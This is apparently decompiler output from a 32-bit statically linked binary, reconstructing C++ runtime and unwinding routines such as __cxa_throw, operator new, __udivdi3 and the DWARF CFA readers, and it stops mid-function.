// Address range: 0x809fa9c - 0x809fac3
int32_t _ZN10__cxxabiv111__terminateEPFvvE(int32_t * a1, int32_t a2, int32_t a3) {
uint32_t v1 = __i686_get_pc_thunk_bx(); // 0x809faa3
g1 = v1 > 0xfff6e3af;
int32_t v2 = v1 + 0x91c50; // 0x809faa8
g103 = v2 == 0;
g98 = v2;
((int32_t (*)())a1)();
abort();
// UNREACHABLE
}
// Address range: 0x809fac4 - 0x809fae1
int32_t std__terminate(int32_t a1) {
int32_t v1 = *(int32_t *)*(int32_t *)(__i686_get_pc_thunk_bx() + 0x91c10); // 0x809fadc
g95 = v1;
_ZN10__cxxabiv111__terminateEPFvvE((int32_t *)v1, g98, g100);
return g95;
}
// Address range: 0x809fae6 - 0x809fafb
int32_t _ZN10__cxxabiv112__unexpectedEPFvvE(int32_t a1, int32_t a2) {
uint32_t v1 = __i686_get_pc_thunk_bx(); // 0x809faed
g1 = v1 > 0xfff6e3f9;
int32_t v2 = v1 + 0x91c06; // 0x809faf2
g103 = v2 == 0;
g98 = v2;
((int32_t (*)())a1)();
int32_t v3;
std__terminate(v3);
return g95;
}
// Address range: 0x809fbb0 - 0x809fc15
int32_t __cxa_throw(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5) {
int32_t v1 = __i686_get_pc_thunk_bx() + 0x91b3b;
int32_t v2 = a1 - 80; // 0x809fbc6
*(int32_t *)v2 = a2;
*(int32_t *)(v2 + 4) = a3;
int32_t v3 = *(int32_t *)*(int32_t *)(v1 - 8); // 0x809fbdb
*(int32_t *)(v2 + 8) = v3;
int32_t v4 = *(int32_t *)*(int32_t *)(v1 - 24); // 0x809fbe6
*(int32_t *)(v2 + 12) = v4;
*(int32_t *)(v2 + 48) = 0x432b2b00;
*(int32_t *)(v2 + 52) = 0x474e5543;
*(int32_t *)(v2 + 56) = v1 - 0x91b94;
int32_t v5 = a1 - 32;
_Unwind_RaiseException(&v5, NULL, 0, NULL);
int32_t v6 = g101; // 0x809fc0d
v5 = v6;
__cxa_begin_catch(v6, 0, 0, 0, g98, g101);
std__terminate(v5);
return g95;
}
// Address range: 0x809fc1a - 0x809fc7b
int32_t __cxa_rethrow(int32_t a1, int32_t a2, int32_t a3) {
int32_t v1 = g102; // 0x809fc1d
int32_t v2 = g101; // 0x809fc1e
int32_t v3 = g98; // 0x809fc1f
g98 = __i686_get_pc_thunk_bx() + 0x91ad0;
int32_t v4;
int32_t v5 = __cxa_get_globals(v4, 0, 0, v3, v2); // 0x809fc2e
struct struct_104 * v6 = (struct struct_104 *)v5; // 0x809fc2e_7
g101 = v5;
g102 = *(int32_t *)v5;
v6->e1++;
if (g102 == 0) {
lab_0x682dda0:
// 0x809fc6f
std__terminate(v4);
// branch -> 0x809fc74
} else {
// 0x809fc3f
if ((v6->e5 ^ 0x432b2b00) != (v6->e6 ^ 0x474e5543)) {
// 0x809fc56
*(int32_t *)g101 = 0;
// branch -> 0x809fc5c
lab_0x6830380:
// 0x809fc5c
_Unwind_Resume_or_Rethrow(g102 + 48, 0, 0, v3, v2);
int32_t v7 = g101; // 0x809fc67
__cxa_begin_catch(v7, 0, 0, v3, v2, v1);
v4 = v7;
// branch -> 0x809fc6f
goto lab_0x682dda0;
}
// 0x809fc74
v6->e3 = -v6->e3;
// branch -> 0x809fc5c
goto lab_0x6830380;
}
// 0x809fc74
v6->e3 = -v6->e3;
// branch -> 0x809fc5c
goto lab_0x6830380;
}
// Address range: 0x809fd2c - 0x809fd99
int32_t __cxxabiv1__acquire_1(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t * a6) {
int32_t v1 = g100; // 0x809fd2c
int32_t v2 = g98; // 0x809fd2f
g98 = __i686_get_pc_thunk_bx() + 0x919c0;
int32_t v3 = g95; // 0x809fd3e
g96 = v3;
if (*(char *)v3 != 0) {
// 0x809fd5e
g98 = a5;
g100 = (int32_t)a6;
return 0;
}
char * v4 = (char *)(v3 + 1); // 0x809fd45_0
int32_t v5 = (int32_t)*v4; // 0x809fd45
g97 = v5;
int32_t v6 = v5 + 1; // 0x809fd49
g95 = v6;
*v4 = (char)v6;
if (g97 == 0) {
// 0x809fd58
g98 = v2;
g100 = v1;
return 1;
}
int32_t v7 = __cxa_allocate_exception((int32_t *)4, 0); // 0x809fd6d
*(int32_t *)v7 = *(int32_t *)(g98 - 88) + 8;
int32_t v8 = g98; // 0x809fd7d
int32_t v9 = *(int32_t *)(v8 - 64); // 0x809fd87
__cxa_throw(v7, v9, *(int32_t *)(v8 - 20), 0, 0);
return g95;
}
// Address range: 0x809fd9a - 0x809fdc9
int32_t _GLOBAL__N_____________libstdc___v3_libsupc___guard_cc_00000000_2A9B2FC0__static_mutex__lock(void) {
struct struct_88 * v1 = (struct struct_88 *)g100; // bp-4
struct struct_10 * v2 = (struct struct_10 *)g98; // bp-8
int32_t v3 = __i686_get_pc_thunk_bx(); // 0x809fda1
int32_t result; // 0x809fdbf
if (*(int32_t *)(v3 + 0x92056) != 0) {
struct struct_3 * v4 = (struct struct_3 *)*(int32_t *)(v3 + 0x91922); // 0x809fdbc_0
result = __pthread_mutex_lock_internal(v4, (int32_t *)v2, &v1->e0, &NULL->e0);
// branch -> 0x809fdc4
} else {
result = 0;
}
// 0x809fdc4
g98 = (int32_t)v2;
g100 = (int32_t)v1;
return result;
}
// Address range: 0x809fdca - 0x809fdf9
int32_t _GLOBAL__N_____________libstdc___v3_libsupc___guard_cc_00000000_2A9B2FC0__static_mutex__unlock(void) {
int32_t v1 = __i686_get_pc_thunk_bx(); // 0x809fdd1
int32_t v2 = *(int32_t *)(v1 + 0x92026); // 0x809fddc
g97 = v2;
int32_t result; // 0x809fdef
if (v2 != 0) {
struct struct_45 * v3 = (struct struct_45 *)*(int32_t *)(v1 + 0x918f2); // 0x809fdec_0
result = __pthread_mutex_unlock_internal(v3);
// branch -> 0x809fdf4
}
// 0x809fdf4
return result;
}
// Address range: 0x809fdfa - 0x809fe6d
int32_t __cxa_guard_acquire(char * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9) {
int32_t v1 = g100; // 0x809fdfa
int32_t v2 = g101; // 0x809fdfd
int32_t v3 = g98; // 0x809fdfe
int32_t v4 = __i686_get_pc_thunk_bx(); // 0x809fe02
g98 = v4 + 0x918f1;
int32_t v5 = (int32_t)a1; // 0x809fe0d
g101 = v5;
unsigned char v6 = *a1; // 0x809fe10
g95 = v6;
g97 = 0;
if (v6 != 0) {
// 0x809fe38
g98 = v3;
g101 = v2;
g100 = v1;
return 0;
}
int32_t v7 = *(int32_t *)(v4 + 0x91ff5); // 0x809fe19
g96 = v7;
if (v7 != 0) {
// 0x809fe23
return _GLOBAL__N_____________libstdc___v3_libsupc___guard_cc_00000000_2A9B2FC0__static_mutex__lock();
}
// 0x809fe51
g95 = v5;
int32_t v8;
g98 = v8;
int32_t * v9;
g101 = (int32_t)v9;
int32_t v10;
g100 = v10;
return __cxxabiv1__acquire_1(0, 0, 0, 0, 0, NULL);
}
// Address range: 0x809fe6e - 0x809fe9f
int32_t __cxa_guard_release(struct struct_59 * a1) {
int32_t v1 = g98; // 0x809fe71
g98 = __i686_get_pc_thunk_bx() + 0x9187e;
int32_t v2 = (int32_t)a1; // 0x809fe80
g95 = v2;
char * v3 = (char *)(v2 + 1); // 0x809fe83_0
*v3 = *v3 - 1;
*(char *)g95 = 1;
int32_t result; // 0x809fe9e_11
if (*(int32_t *)(g98 + 1796) != 0) {
// 0x809fe94
result = _GLOBAL__N_____________libstdc___v3_libsupc___guard_cc_00000000_2A9B2FC0__static_mutex__unlock();
// branch -> 0x809fe99
} else {
result = 0;
}
// 0x809fe99
g98 = v1;
return result;
}
// Address range: 0x809ff1e - 0x809ff4b
void std__bad_alloc_702(void) {
// 0x809ff1e
int32_t v1;
*(int32_t *)v1 = *(int32_t *)(__i686_get_pc_thunk_bx() + 0x91792) + 8;
abort();
// UNREACHABLE
}
// Address range: 0x809ff90 - 0x80a0027
int32_t _Znwj(int32_t a1, int32_t a2, int32_t a3) {
int32_t v1 = a1;
int32_t * v2 = (int32_t *)g100; // 0x809ff90_0
int32_t v3 = g101; // 0x809ff93
int32_t v4 = g98; // 0x809ff94
g98 = __i686_get_pc_thunk_bx() + 0x9175b;
int32_t v5 = a1; // 0x809ffae
if (a1 == 0) {
// 0x809ffaa
v5 = 1;
// branch -> 0x809ffae
}
__libc_malloc(&v5, 0, 0);
int32_t result = g95; // 0x809ffb6
if (result != 0) {
// 0x809ffba
g98 = v4;
g101 = v3;
g100 = (int32_t)v2;
return result;
}
int32_t result2; // 0x809ffcb
while (true) {
int32_t v6 = *(int32_t *)*(int32_t *)(g98 - 68); // 0x809ffd8
g95 = v6;
g1 = false;
g103 = v6 == 0;
if (v6 == 0) {
int32_t v7 = __cxa_allocate_exception((int32_t *)4, v1); // 0x809ffe5
*(int32_t *)v7 = *(int32_t *)(g98 - 60) + 8;
int32_t v8 = g98; // 0x809fff5
int32_t v9 = *(int32_t *)(v8 - 16); // 0x809fff5
a2 = v9;
int32_t v10 = *(int32_t *)(v8 - 76); // 0x809ffff
v1 = v10;
int32_t * v11 = (int32_t *)__cxa_throw(v7, v10, v9, a3, 0); // 0x80a000c_8
int32_t v12; // 0x80a0021
int32_t v13; // 0x80a0021
if (g97 != -1) {
// 0x80a0016
_Unwind_Resume(v11, &v1, &a2);
v13 = a2;
v12 = v1;
// branch -> 0x80a001e
} else {
v13 = v9;
v12 = v10;
}
// 0x80a001e
__cxa_call_unexpected(v11, v12, v13);
return g95;
}
// 0x809ffc1
((int32_t (*)())v6)();
__libc_malloc((int32_t *)g101, v1, a2);
result2 = g95;
if (result2 != 0) {
// break -> 0x809ffba
break;
}
// continue -> 0x809ffd2
}
// 0x809ffba
g98 = v4;
g101 = v3;
g100 = (int32_t)(int32_t *)0x809ffcb;
return result2;
}
// Address range: 0x80a54f8 - 0x80a565f
int32_t __udivdi3(uint32_t a1, uint32_t a2, uint32_t a3, uint32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9, int32_t a10, int32_t a11, int32_t a12, int32_t a13, int32_t a14, int32_t a15, int32_t a16) {
int32_t v1 = g102; // 0x80a54fb
int32_t v2 = g101; // 0x80a54fc
if (a4 == 0) {
// 0x80a552b
if (a3 > a2) {
// 0x80a552f
g97 = 0;
g101 = v2;
g102 = v1;
return (0x100000000 * (int64_t)a2 | (int64_t)a1) / (int64_t)a3;
}
// 0x80a5588
if (a3 == 0) {
// 0x80a5630
// branch -> 0x80a5593
}
// 0x80a5593
g97 = a2 / a3;
int32_t v3;
g101 = v3;
int32_t v4;
g102 = v4;
return (0x100000000 * (int64_t)(a2 % a3) | (int64_t)a1) / (int64_t)a3;
}
// 0x80a5548
int32_t v5;
int32_t v6;
if (a4 > a2) {
// 0x80a5628
// branch -> 0x80a5614
// 0x80a5614
g97 = 0;
g101 = v5;
g102 = v6;
return 0;
}
int32_t v7 = llvm_ctlz_i32(a4, false); // 0x80a5551
uint32_t v8 = 31 - v7 ^ 31; // 0x80a5554
int32_t result; // 0x80a5614
if (v7 == 0) {
// 0x80a555c
if (a4 < a2 || a3 <= a1) {
// 0x80a556d
g97 = 0;
g101 = a9;
g102 = a10;
return 1;
}
// 0x80a5628
result = 0;
// branch -> 0x80a5614
} else {
uint32_t v9 = v8 % 32; // 0x80a55c8
int32_t v10 = a4; // 0x80a55d2
if (v9 != 0) {
// if_80a55c8_0_true
v10 = a4 << v9;
// branch -> after_if_80a55c8_0
}
uint32_t v11 = (32 - v8) % 32; // 0x80a55d0
int32_t v12 = a3; // 0x80a55d2
if (v11 != 0) {
// if_80a55d0_0_true
v12 = a3 >> v11;
// branch -> after_if_80a55d0_0
}
int32_t v13 = a2;
int32_t v14 = a3; // 0x80a560918
if (v9 != 0) {
// if_80a55e2_0_true
v13 = a2 << v9;
v14 = a3 << v9;
// branch -> after_if_80a55e2_0
}
int32_t v15 = a1; // 0x80a55ec
if (v11 != 0) {
// if_80a55ea_0_true
v15 = a1 >> v11;
// branch -> after_if_80a55ea_0
}
int32_t v16 = a1; // 0x80a5641
if (v9 != 0) {
// if_80a55f7_0_true
v16 = a1 << v9;
// branch -> after_if_80a55f7_0
}
int32_t v17 = a2; // 0x80a5601
if (v11 != 0) {
// if_80a55ff_0_true
v17 = a2 >> v11;
// branch -> after_if_80a55ff_0
}
uint64_t v18 = (int64_t)(v12 | v10); // 0x80a5601
uint64_t v19 = 0x100000000 * (int64_t)v17 | (int64_t)(v15 | v13); // 0x80a5601
uint64_t v20 = v19 / v18; // 0x80a5601
int32_t v21 = v20; // 0x80a5601
uint32_t v22 = (int32_t)(v19 % v18); // 0x80a5601
uint64_t v23 = (v20 & 0xffffffff) * (int64_t)v14; // 0x80a5609
uint32_t v24 = (int32_t)(v23 / 0x100000000); // 0x80a5609
int32_t v25;
int32_t v26;
if (v22 < v24) {
// 0x80a5648
g97 = 0;
g101 = v25;
g102 = v26;
return v21 - 1;
}
// 0x80a5610
if (v22 == v24) {
// 0x80a5641
if (v16 < (int32_t)v23) {
// 0x80a5648
g97 = 0;
g101 = v25;
g102 = v26;
return v21 - 1;
}
result = v21;
} else {
result = v21;
}
}
// 0x80a5614
g97 = 0;
g101 = v5;
g102 = v6;
return result;
}
// Address range: 0x80a5660 - 0x80a57ef
int32_t __umoddi3(uint32_t result2, uint32_t a2, uint32_t a3, uint32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9, int32_t a10, int32_t a11, int32_t a12, int32_t a13) {
// 0x80a5660
if (a4 == 0) {
// 0x80a5694
int32_t result;
if (a3 > a2) {
// 0x80a569e
result = (uint64_t)(0x100000000 * (int64_t)a2 | (int64_t)result2) % (uint64_t)(int64_t)a3;
// branch -> 0x80a56a2
} else {
// 0x80a5770
if (a3 == 0) {
// 0x80a578c
// branch -> 0x80a5777
}
int32_t v1 = (uint64_t)(0x100000000 * (int64_t)(a2 % a3) | (int64_t)result2) % (uint64_t)(int64_t)a3;
result = v1;
// branch -> 0x80a56a2
}
// 0x80a56a2
return result;
}
// 0x80a56bc
if (a2 < a4) {
// 0x80a56c4
return result2;
}
int32_t v2 = llvm_ctlz_i32(a4, false); // 0x80a56d8
uint32_t v3 = 31 - v2 ^ 31; // 0x80a56dc
if (v2 == 0) {
// 0x80a579c
int32_t result3; // 0x80a57d12
if (a2 > a4) {
// 0x80a57c5
result3 = result2 - a3;
// branch -> 0x80a57ac
} else {
// 0x80a57a4
if (result2 >= a3) {
// 0x80a57c5
result3 = result2 - a3;
// branch -> 0x80a57ac
} else {
result3 = result2;
}
}
// 0x80a57ac
return result3;
}
uint32_t v4 = v3 % 32; // 0x80a56f9
int32_t v5 = a4; // 0x80a5703
if (v4 != 0) {
// if_80a56f9_0_true
v5 = a4 << v4;
// branch -> after_if_80a56f9_0
}
uint32_t v6 = (32 - v3) % 32; // 0x80a5701
int32_t v7 = a3; // 0x80a5705
if (v6 != 0) {
// if_80a5701_0_true
v7 = a3 >> v6;
// branch -> after_if_80a5701_0
}
uint32_t v8 = v7 | v5; // 0x80a5705
int32_t v9;
uint32_t v10; // 0x80a570f40
uint32_t v11; // 0x80a571728
if (v4 == 0) {
// after_if_80a5715_0
v9 = a2;
v10 = a3;
v11 = result2;
// branch -> after_if_80a571d_0
} else {
// if_80a5715_0_true
v9 = a2 << v4;
v10 = a3 << v4;
v11 = result2 << v4;
// branch -> after_if_80a571d_0
}
// after_if_80a571d_0
int32_t v12;
int32_t v13; // 0x80a572744
if (v6 == 0) {
// after_if_80a5725_0.thread
v12 = a2;
v13 = v9 | result2;
// branch -> after_if_80a572c_0
} else {
// if_80a572c_0_true
v12 = a2 >> v6;
v13 = v9 | result2 >> v6;
// branch -> after_if_80a572c_0
}
uint64_t v14 = (int64_t)v8; // 0x80a572e
uint64_t v15 = 0x100000000 * (int64_t)v12 | (int64_t)v13; // 0x80a572e
int32_t v16 = v15 % v14; // 0x80a572e
uint64_t v17 = (v15 / v14 & 0xffffffff) * (int64_t)v10; // 0x80a5732
int32_t v18 = v17 / 0x100000000; // 0x80a5732
uint32_t v19 = (int32_t)v17; // 0x80a5732
uint32_t v20; // 0x80a5746
int32_t v21; // 0x80a5758
int32_t v22; // 0x80a5746
int32_t v23; // 0x80a5748
int32_t result4; // 0x80a575847
int32_t v24; // 0x80a5748
if (v16 < v18) {
// 0x80a57d9
v23 = (int32_t)(v19 < v10) + v18 - v8;
v22 = v19 - v10;
// branch -> 0x80a5743
} else {
// 0x80a573d
if (v16 == v18) {
// 0x80a57e3
if (v11 < v19) {
// 0x80a57d9
v23 = (int32_t)(v19 < v10) + v18 - v8;
v22 = v19 - v10;
// branch -> 0x80a5743
} else {
// 0x80a57e8
v23 = v16;
v22 = v19;
// branch -> 0x80a5743
}
// 0x80a5743
v20 = v11 - v22;
v24 = (int32_t)(v11 < v22) + v16 - v23;
v21 = v24;
if (v6 != 0) {
// if_80a5751_0_true
v21 = v24 << v6;
// branch -> after_if_80a5751_0
}
// after_if_80a5751_0
if (v4 == 0) {
// after_if_80a5756_0.thread
result4 = v21 | v20;
// branch -> after_if_80a575d_0
} else {
// if_80a575d_0_true
result4 = v21 | v20 >> v4;
// branch -> after_if_80a575d_0
}
// after_if_80a575d_0
return result4;
}
v23 = v18;
v22 = v19;
}
// 0x80a5743
v20 = v11 - v22;
v24 = (int32_t)(v11 < v22) + v16 - v23;
v21 = v24;
if (v6 != 0) {
// if_80a5751_0_true
v21 = v24 << v6;
// branch -> after_if_80a5751_0
}
// after_if_80a5751_0
if (v4 == 0) {
// after_if_80a5756_0.thread
result4 = v21 | v20;
// branch -> after_if_80a575d_0
} else {
// if_80a575d_0_true
result4 = v21 | v20 >> v4;
// branch -> after_if_80a575d_0
}
// after_if_80a575d_0
return result4;
}
// Address range: 0x80a57f0 - 0x80a57fb
int32_t _Unwind_GetTextRelBase(int32_t * a1) {
int32_t v1 = (int32_t)a1; // 0x80a57f3
g95 = v1;
return *(int32_t *)(v1 + 84);
}
// Address range: 0x80a57fc - 0x80a5807
int32_t _Unwind_GetDataRelBase(int32_t * a1) {
int32_t v1 = (int32_t)a1; // 0x80a57ff
g95 = v1;
return *(int32_t *)(v1 + 88);
}
// Address range: 0x80a5808 - 0x80a5813
int32_t _Unwind_GetRegionStart(int32_t * a1) {
int32_t v1 = (int32_t)a1; // 0x80a580b
g95 = v1;
return *(int32_t *)(v1 + 92);
}
// Address range: 0x80a5814 - 0x80a5819
void base_of_encoded_value_717(int32_t a1, int32_t a2) {
// 0x80a5814
function_80a581e(g96, g98);
}
// Address range: 0x80a581e - 0x80a5881
int32_t function_80a581e(int32_t a1, int32_t a2) {
// 0x80a581e
int32_t * v1;
g98 = (int32_t)v1 + 0x8beda;
int32_t v2 = g95; // 0x80a5825
int32_t v3;
int32_t * v4;
int32_t v5; // 0x80a5851
if (0x1000000 * v2 == -0x1000000) {
// 0x80a584c
g98 = (int32_t)v4;
v5 = g100;
g100 = v3;
g99 = v5 + 4;
return 0;
}
int32_t v6 = v2 & 112; // 0x80a5829
g95 = v6;
if (v6 == 32) {
int32_t result = _Unwind_GetTextRelBase((int32_t *)g97); // 0x80a5855
g98 = 0x80a585a;
int32_t v7 = g100; // 0x80a585e
g100 = g97;
g99 = v7 + 4;
return result;
}
// 0x80a5831
if (v6 < 33) {
// 0x80a5848
if (v6 == 0) {
// 0x80a584c
g98 = (int32_t)v4;
v5 = g100;
g100 = v3;
g99 = v5 + 4;
return 0;
}
// 0x80a5860
if (v6 != 16) {
// 0x80a5865
abort();
// UNREACHABLE
}
// 0x80a584c
g98 = (int32_t)v4;
v5 = g100;
g100 = v3;
g99 = v5 + 4;
return 0;
}
// 0x80a5833
if (v6 == 64) {
int32_t result2 = _Unwind_GetRegionStart((int32_t *)g97); // 0x80a586b
g98 = 0x80a5870;
int32_t v8 = g100; // 0x80a5874
g100 = g97;
g99 = v8 + 4;
return result2;
}
// 0x80a5838
if (v6 == 80) {
// 0x80a584c
g98 = (int32_t)v4;
v5 = g100;
g100 = v3;
g99 = v5 + 4;
return 0;
}
// 0x80a583d
if (v6 != 48) {
// 0x80a5842
abort();
// UNREACHABLE
}
int32_t result3 = _Unwind_GetDataRelBase((int32_t *)g97); // 0x80a5877
g96 = g97;
g98 = 0x80a587c;
int32_t v9 = g100; // 0x80a5880
g100 = g97;
g99 = v9 + 4;
return result3;
}
// Address range: 0x80a5884 - 0x80a58c1
int32_t read_uleb128_718(int32_t a1) {
int32_t v1 = g97; // 0x80a588f
int32_t v2 = 0; // 0x80a58aa
int32_t result = 0; // 0x80a58ac
int32_t v3 = v1; // 0x80a589b
int32_t v4 = g95;
// branch -> 0x80a5898
int32_t v5; // 0x80a589d
int32_t v6; // 0x80a58aa
while (true) {
unsigned char v7 = *(char *)v4; // 0x80a589b
int32_t v8 = (int32_t)v7 | v3 & -256; // 0x80a589b
g97 = v8;
v5 = v4 + 1;
int32_t v9 = v7 % 128; // 0x80a58a3
uint32_t v10 = result % 32; // 0x80a58a8
int32_t v11 = v9; // 0x80a58aa
if (v10 != 0) {
// if_80a58a8_0_true
v11 = v9 << v10;
// branch -> after_if_80a58a8_0
}
// after_if_80a58a8_0
v6 = v11 | v2;
if (v8 >= 0) {
// break -> 0x80a58b3
break;
}
v2 = v6;
result += 7;
v3 = v8;
v4 = v5;
// continue -> 0x80a5898
}
// 0x80a58b3
*(int32_t *)v1 = v6;
g95 = v5;
return result;
}
// Address range: 0x80a58c4 - 0x80a5923
int32_t read_sleb128_719(int32_t a1) {
int32_t result = 0; // 0x80a58f4
int32_t v1 = g97; // 0x80a58df
int32_t v2 = 0; // 0x80a59114
int32_t v3 = g95;
// branch -> 0x80a58dc
int32_t v4; // 0x80a58e1
int32_t result2; // 0x80a58f4
unsigned char v5; // 0x80a58df
int32_t v6; // 0x80a58f1
while (true) {
// 0x80a58dc
v5 = *(char *)v3;
int32_t v7 = (int32_t)v5 | v1 & -256; // 0x80a58df
v4 = v3 + 1;
int32_t v8 = v5 % 128; // 0x80a58ea
uint32_t v9 = result % 32; // 0x80a58ef
int32_t v10 = v8; // 0x80a58f1
if (v9 != 0) {
// if_80a58ef_0_true
v10 = v8 << v9;
// branch -> after_if_80a58ef_0
}
// after_if_80a58ef_0
v6 = v10 | v2;
result2 = result + 7;
if (v7 >= 0) {
// break -> 0x80a58fb
break;
}
result = result2;
v1 = v7;
v2 = v6;
v3 = v4;
// continue -> 0x80a58dc
}
int32_t * v11 = (int32_t *)g97; // 0x80a58cf_0
if (result2 > 31 || v5 == 64) {
// 0x80a5911
*v11 = v6;
g95 = v4;
return result;
}
uint32_t v12 = result2 % 32; // 0x80a590c
int32_t v13; // 0x80a590e
if (v12 != 0) {
// if_80a590c_0_true
v13 = -1 << v12;
// branch -> after_if_80a590c_0
} else {
v13 = -1;
}
// after_if_80a590c_0
// branch -> 0x80a5911
// 0x80a5911
*v11 = v13 | v6;
g95 = v4;
return result2;
}
// Address range: 0x80a5924 - 0x80a592d
int32_t read_encoded_value_with_base_720(int32_t a1, int32_t a2, int32_t a3) {
int32_t v1;
int32_t v2;
int32_t v3;
function_80a5932(v3, &v2, v1, 0, 0, 0);
return g95;
}
// Address range: 0x80a5932 - 0x80a59de
int32_t function_80a5932(int32_t a1, int32_t * a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6) {
// 0x80a5932
int32_t * v1;
int32_t v2 = (int32_t)v1; // 0x80a5932
int32_t v3 = v2 + 0x8bdc6; // 0x80a5933
g98 = v3;
int32_t v4 = g96; // 0x80a593c
g101 = v4;
uint32_t v5 = g95; // 0x80a593e
g102 = v5;
if (0x1000000 * v5 != 0x50000000) {
// 0x80a5944
g95 = v5 % 256;
uint32_t v6 = v5 % 16; // 0x80a594a
if (v6 < 13) {
// 0x80a5958
g95 = *(int32_t *)(v2 + 0x62cfa + 4 * v6) + v3;
return unknown_81316f8();
}
// 0x80a5952
abort();
// UNREACHABLE
}
// 0x80a5964
g97 = g5;
g96 = v4 + 7 & -4;
g95 = (int32_t)a2;
*a2 = g5;
int32_t v7;
g98 = v7;
int32_t v8;
g101 = v8;
int32_t * v9;
g102 = (int32_t)v9;
int32_t v10 = g100; // 0x80a597c
int32_t v11;
g100 = v11;
g99 = v10 + 4;
return g96;
}
// Address range: 0x80a5b34 - 0x80a5b50
int32_t _Unwind_DeleteException(int32_t a1) {
uint32_t v1 = g99; // 0x80a5b37
g97 = a1;
int32_t result = *(int32_t *)(a1 + 8); // 0x80a5b3d
if (result != 0) {
// 0x80a5b44
g1 = v1 < 8;
g103 = v1 == 8;
((int32_t (*)(int32_t, int32_t))result)(1, a1);
// branch -> 0x80a5b4f
}
// 0x80a5b4f
return result;
}
// Address range: 0x80a5b54 - 0x80a5b5d
int32_t execute_cfa_program(int32_t * a1, int32_t * a2, int32_t a3) {
int32_t v1 = 0; // bp-44
function_80a5b62((struct struct_103 *)&v1);
return g95;
}
// Address range: 0x80a5b62 - 0x80a5fea
int32_t function_80a5b62(struct struct_103 * a1) {
struct struct_106 * v1 = NULL;
int32_t v2;
g98 = v2 + 0x8bb96;
g101 = g95;
uint32_t v3 = g97; // 0x80a5b6b
int32_t v4 = g96; // 0x80a5b6e
g95 = (int32_t)v1;
v1->e3 = NULL;
uint32_t v5 = g101; // 0x80a5b7e
int32_t v6; // 0x80a5bdc
int32_t result2; // 0x80a5c6a
if (v5 < g97) {
// 0x80a5b82
g97 = (int32_t)v1;
int32_t v7 = (int32_t)v1->e8; // 0x80a5b85_0
g96 = v7;
int32_t * v8 = (int32_t *)(v4 + 76); // 0x80a5b8e_0
if (v7 < *v8) {
int32_t v9 = v5 + 1; // 0x80a5b9a
g102 = v9;
int32_t v10 = (int32_t)*(char *)v5; // 0x80a5b9d
g97 = v10;
int32_t v11 = v10 & 192; // 0x80a5ba2
g95 = v11;
struct struct_106 * v12;
int32_t v13; // 0x80a5c46
int32_t result; // 0x80a5c53
int32_t v14; // 0x80a5c18
if (v11 == 64) {
v12 = v1;
v13 = v10;
lab_0x31206c00:;
int32_t v15 = v12->e11 * (v13 % 64); // 0x80a5c4c
g97 = v15;
result = v15 + v7;
v12->e8 = (int32_t *)result;
// branch -> 0x80a5c18
// 0x80a5c18
v14 = g102;
if (v3 > v14) {
goto lab_0xb2f7680;
}
// 0x80a5bdc
v6 = g100;
g98 = v2;
g101 = v2;
g102 = v2;
g100 = v2;
g99 = v6 + 8;
return result;
}
// 0x80a5bb0
if (v11 == 128) {
lab_0xb2f8030:;
int32_t v16 = v10 % 64; // 0x80a5c80
g97 = g100 - 20;
g95 = v9;
g99 -= 4;
read_uleb128_718((int32_t)a1);
g102 = g95;
int32_t * v17;
int32_t v18 = (int32_t)v17; // 0x80a5c92
g95 = v18;
int32_t v19 = v1->e10 * v18; // 0x80a5c98
g97 = v16;
g96 = (int32_t)v1;
v1->e0[v16].e1 = 1;
v1->e0[v16].e0 = (int32_t *)v19;
result = v19;
// branch -> 0x80a5c18
// 0x80a5c18
v14 = g102;
if (v3 > v14) {
goto lab_0xb2f7680;
}
// 0x80a5bdc
v6 = g100;
g98 = v2;
g101 = v2;
g102 = v2;
g100 = v2;
g99 = v6 + 8;
return result;
}
// 0x80a5bbb
int32_t v20; // 0x80a5bcf
if (v11 != 192) {
// 0x80a5bc6
if (v10 >= 48) {
// 0x80a5c60
g99 -= 4;
abort();
// UNREACHABLE
}
// 0x80a5bcf
v20 = g98;
g95 = *(int32_t *)(4 * v10 - 0x29098 + v20) + v20;
return unknown_81316f8();
}
lab_0x68f2860:
// 0x80a5c68
g95 = v10;
result2 = v10 % 64;
v1->e0[result2].e1 = 0;
// branch -> 0x80a5c18
// 0x80a5c18
v14 = g102;
if (v3 > v14) {
lab_0xb2f7680:;
int32_t v21 = (int32_t)v1->e8; // 0x80a5c20_0
g96 = v21;
if (*v8 > v21) {
// 0x80a5c2e
g101 = v14;
int32_t v22 = v14 + 1; // 0x80a5c30
g102 = v22;
int32_t v23 = (int32_t)*(char *)v14; // 0x80a5c33
g97 = v23;
int32_t v24 = v23 & 192; // 0x80a5c38
g95 = v24;
if (v24 == 64) {
v7 = v21;
v12 = v1;
v13 = v23;
goto lab_0x31206c00;
}
v9 = v22;
v10 = v23;
v11 = v24;
// 0x80a5bb0
if (v11 == 128) {
goto lab_0xb2f8030;
}
// 0x80a5bbb
if (v11 == 192) {
goto lab_0x68f2860;
}
// 0x80a5bc6
if (v10 >= 48) {
// 0x80a5c60
g99 -= 4;
abort();
// UNREACHABLE
}
// 0x80a5bcf
v20 = g98;
g95 = *(int32_t *)(4 * v10 - 0x29098 + v20) + v20;
return unknown_81316f8();
}
result2 = v4;
}
// 0x80a5bdc
v6 = g100;
g98 = v2;
g101 = v2;
g102 = v2;
g100 = v2;
g99 = v6 + 8;
return result2;
}
result2 = v4;
}
// 0x80a5bdc
v6 = g100;
g98 = v2;
g101 = v2;
g102 = v2;
g100 = v2;
g99 = v6 + 8;
return result2;
}
// Address range: 0x80a5fec - 0x80a5ff5
int32_t uw_frame_state_for(int32_t * a1, int32_t * a2) {
int32_t v1 = 0; // bp-60
int32_t v2;
function_80a5ffa((struct struct_103 *)&v2, (struct struct_103 *)&v1);
return g96;
}
// Address range: 0x80a5ffa - 0x80a6462
int32_t function_80a5ffa(struct struct_103 * a1, struct struct_103 * a2) {
int32_t v1 = g95; // 0x80a6001
int32_t v2 = g97; // 0x80a6004
struct struct_110 * v3 = (struct struct_110 *)v2; // bp-56
memset((int32_t *)v2, (int32_t)g2, 192);
g95 = v1;
*(int32_t *)(v1 + 96) = 0;
*(int32_t *)(g95 + 80) = 0;
int32_t v4 = g95; // 0x80a6025
